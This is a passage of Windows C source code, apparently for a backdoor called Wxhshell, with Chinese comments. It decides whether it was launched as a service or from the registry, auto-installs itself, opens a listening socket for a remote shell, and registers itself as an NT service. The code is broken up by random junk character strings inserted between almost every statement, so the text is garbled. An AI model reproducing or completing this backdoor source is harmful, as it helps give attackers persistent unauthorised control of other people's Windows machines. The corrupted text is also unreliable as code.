-"r hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y4t M0h if(hProcess==NULL) return 0; E;fYL]j/oZ tz4MT_f HMODULE hMod; 'p80X^g char procName[255]; pn{Mj unsigned long cbNeeded; . Zrt/; $pyM<:*L&< if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a]>gDDF xa[<k>r3 CloseHandle(hProcess); h/?8F^C#v 5wmH3g#0 if(strstr(procName,"services")) return 1; // 以服务启动 mqrP0/sN u-=S_e return 0; // 注册表启动 gLa#y } q.yS j Py^F},?J // 主模块 dE7 kd=.o int StartWxhshell(LPSTR lpCmdLine) ^/47*vcN5 { <N}UwB& SOCKET wsl; 9x0B9& BOOL val=TRUE; bIu'^ int port=0; &^Zo}F2V struct sockaddr_in door; E3<jH >9'G>~P~I= if(wscfg.ws_autoins) Install(); v`A^6)U#M q(M[ij port=atoi(lpCmdLine); |\TOSaZ ^0_ *AwIcN if(port<=0) port=wscfg.ws_port; 'S@% kj~)#KDN WSADATA data; " ^u if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^W5rL@h_ _iLXs if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; z9}rT<hy setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b#(SDNo6 door.sin_family = AF_INET; ywXerz7dUk door.sin_addr.s_addr = inet_addr("127.0.0.1"); sesr`,m., door.sin_port = htons(port);
m(,vymt "#z4 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y8HLrBTza closesocket(wsl); S}gUz9ks return 1; }jBr[S5 } 0N$tSTo.-< M p:c. if(listen(wsl,2) == INVALID_SOCKET) { HK)$ls closesocket(wsl); $9Hod-Z1 return 1; tQ_;UQlX } =B4U~|k Wxhshell(wsl); U>7"BpC WSACleanup(); Ck8`$x&t ]|18tVXc return 0; q{@j$fMt0 rpu9 } ny%-u&1k FiMP_ y*S // 以NT服务方式启动 Un@B D}@\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kU$P?RD { Zy,U'Dv DWORD status = 0; <Z{\3X^ DWORD specificError = 0xfffffff; uy)iB'st& ^Crl~~Gk` serviceStatus.dwServiceType = SERVICE_WIN32; fp|!LU serviceStatus.dwCurrentState = SERVICE_START_PENDING; vNlYk serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :A
$%5;-kO serviceStatus.dwWin32ExitCode = 0; zD}dvI} serviceStatus.dwServiceSpecificExitCode = 0; 6pDb5@QjTy serviceStatus.dwCheckPoint = 0; dy N`9 serviceStatus.dwWaitHint = 0; jCqs^`- vT"T*FKh: hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C9`#57 Pp if (hServiceStatusHandle==0) return; ]S9~2;2^, Sq8 `)$\ status = GetLastError(); Ug*:o d if (status!=NO_ERROR) Rd|};- { h~{TCK+I serviceStatus.dwCurrentState = SERVICE_STOPPED; TV\21 serviceStatus.dwCheckPoint = 0; |K| c serviceStatus.dwWaitHint = 0; F?&n5 |